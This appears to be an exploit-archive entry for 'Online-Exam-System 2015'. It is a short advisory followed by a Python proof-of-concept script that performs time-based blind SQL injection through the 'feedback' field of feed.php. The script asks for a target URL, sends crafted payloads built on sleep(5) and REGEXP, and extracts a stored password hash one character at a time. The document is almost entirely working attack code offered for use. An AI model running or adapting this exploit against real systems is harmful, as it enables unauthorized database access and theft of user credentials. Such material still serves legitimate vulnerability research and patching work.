Online-Exam-System 2015 suffers from a remote SQL injection vulnerability.
9a7f3e2cf31db1fcf4c811b7e197bd2b# Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://github.com/sunnygkp10/
# Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git
# Affected Version: 2015
# Tested on: Ubuntu
# CVE : N/A
import requests, string, time
from sys import stdout
URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")
payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','[email protected]','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"
payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"
so_far = hash = ""
while True:
for i in string.digits + string.ascii_lowercase:
so_far = hash + i
payload_to_send = payload + str(so_far) + payload2
data = {"name":"test","email":"[email protected]","subject":"test","feedback":payload_to_send}
start = time.time()
r = requests.post(URL + "feed.php", data = data)
request_time = time.time() - start
if request_time > 5:
hash += i
stdout.write(i)
stdout.flush()
break
if len(hash) > 31:
stdout.write("\n")
print "Hash found: " + hash
break